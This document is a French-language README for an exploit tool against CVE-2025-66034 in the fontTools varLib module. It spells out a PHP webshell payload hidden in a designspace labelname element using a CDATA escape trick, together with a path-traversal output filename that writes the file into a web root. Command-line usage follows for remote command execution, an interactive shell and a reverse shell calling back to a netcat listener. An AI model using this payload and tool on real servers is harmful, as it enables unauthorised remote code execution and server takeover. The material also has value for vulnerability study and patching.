
Exploit et documentation pour CVE-2025-66034
fontTools est une bibliothèque Python permettant de manipuler des fichiers de polices. Son module varLib traite les fichiers .designspace — un format XML qui décrit comment plusieurs fontes maîtresses doivent être interpolées pour produire une fonte variable.
Deux faiblesses existent dans les versions concernées :
1. Nom de fichier de sortie non assaini
L'attribut <variable-font filename="..."> d'un fichier designspace contrôle l'endroit où varLib écrit la fonte de sortie compilée. La bibliothèque n'effectue aucune validation ni normalisation de ce chemin avant de le transmettre au système de fichiers. Un attaquant peut fournir un chemin absolu ou une séquence de traversée de répertoire pour écrire le fichier de sortie à n'importe quel emplacement accessible en écriture par le processus.
2. Contenu XML transmis tel quel dans la sortie
fontTools sérialise les noms d'étiquettes d'axe issus des éléments <labelname> directement dans la table des noms de la fonte de sortie sous forme d'octets bruts, sans assainir le contenu. Toute chaîne placée dans un bloc <labelname> — y compris du code PHP — se retrouve telle quelle dans le fichier écrit.
Ensemble, ces deux faiblesses permettent à un attaquant capable de soumettre un fichier designspace à un point de terminaison web reposant sur fontTools d'écrire un fichier arbitraire contenant un contenu arbitraire sur n'importe quel chemin accessible en écriture sur le serveur.
Le fichier designspace contient deux injections.
La première se trouve dans l'élément <labelname> :
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
Les sections CDATA en XML permettent d'inclure des données de caractères arbitraires sans échappement d'entités, mais elles ne peuvent pas elles-mêmes contenir la séquence ]]> car celle-ci termine la section. La balise fermante PHP ?> provoquerait une erreur d'analyse si elle était écrite naïvement. La séquence ]]]]><![CDATA[> ferme une section CDATA immédiatement après ]] puis en ouvre une nouvelle commençant par >, de sorte que le contenu final rendu est <?php system($_REQUEST["cmd"]);?> — du PHP syntaxiquement valide — sans jamais déclencher d'erreur de l'analyseur XML.
La seconde injection se trouve dans le chemin de sortie :
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools construit le gestionnaire de fichier de sortie à partir de cette chaîne sans normalisation du chemin. Le fichier est créé à cet emplacement exact.
varLib exige au moins une fonte source pour compiler. Le master n'a pas besoin d'être une véritable fonte — un TTF minimal avec un unique glyphe vide suffit pour passer la validation. Le TTF base64 intégré dans cet exploit a été généré avec FontBuilder de fontTools et ne contient qu'un glyphe .notdef avec un contour carré et les tables minimales requises (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
L'exploit soumet le designspace et le TTF sous forme d'une requête POST multipart/form-data au point de terminaison de génération de polices de l'application web. Le serveur transmet les fichiers à varLib.build(). varLib analyse le designspace, lit le master, compile la fonte variable et l'écrit dans le chemin spécifié dans filename= — c'est-à-dire la racine web.
Le fichier écrit est un fichier de police binaire avec la charge utile PHP intégrée à l'intérieur. L'analyseur PHP examine les fichiers à la recherche de balises ouvrantes plutôt que d'exiger que le fichier soit entièrement constitué de PHP. Lorsque le serveur web traite le fichier en tant que PHP, il trouve <?php system($_REQUEST["cmd"]);?> et l'exécute. Tout ce qui se trouve avant et après la balise est émis tel quel et ignoré.
Le corps de la réponse est le binaire brut de la police. La sortie de commande se retrouve entre deux repères prévisibles que fontTools écrit dans la table des noms :
TestWeight400 — dérivé des champs famille et classe de graisse dans le master TTF intégré]]>ThinMEOW2 — provenant de l'élément <labelname> en français dans le designspaceL'exploit découpe la réponse entre ces deux chaînes et supprime les balises XML résiduelles avec BeautifulSoup pour produire une sortie de commande propre.
pip install requests beautifulsoup4
Les trois paramètres cibles sont requis. Aucune valeur par défaut n'est codée en dur.
--process-url Full URL of the font processor endpoint
--shell-url Full URL where the webshell will be reachable after the write
--write-path Filesystem path the server will write the shell to
Optionnel :
--session PHPSESSID cookie value (if the portal requires authentication)
--no-plant Skip the upload step (shell already planted)
--hostname Label shown in the interactive prompt
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
Commencez par lancer un écouteur :
nc -lvnp 4444
Puis déclenchez :
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
La charge utile du reverse shell est encodée en base64 avant la transmission afin d'éviter les problèmes d'échappement des métacaractères du shell dans le paramètre de requête cmd.
existe dans la fonction build() du module varLib et dans l'analyseur de designspace.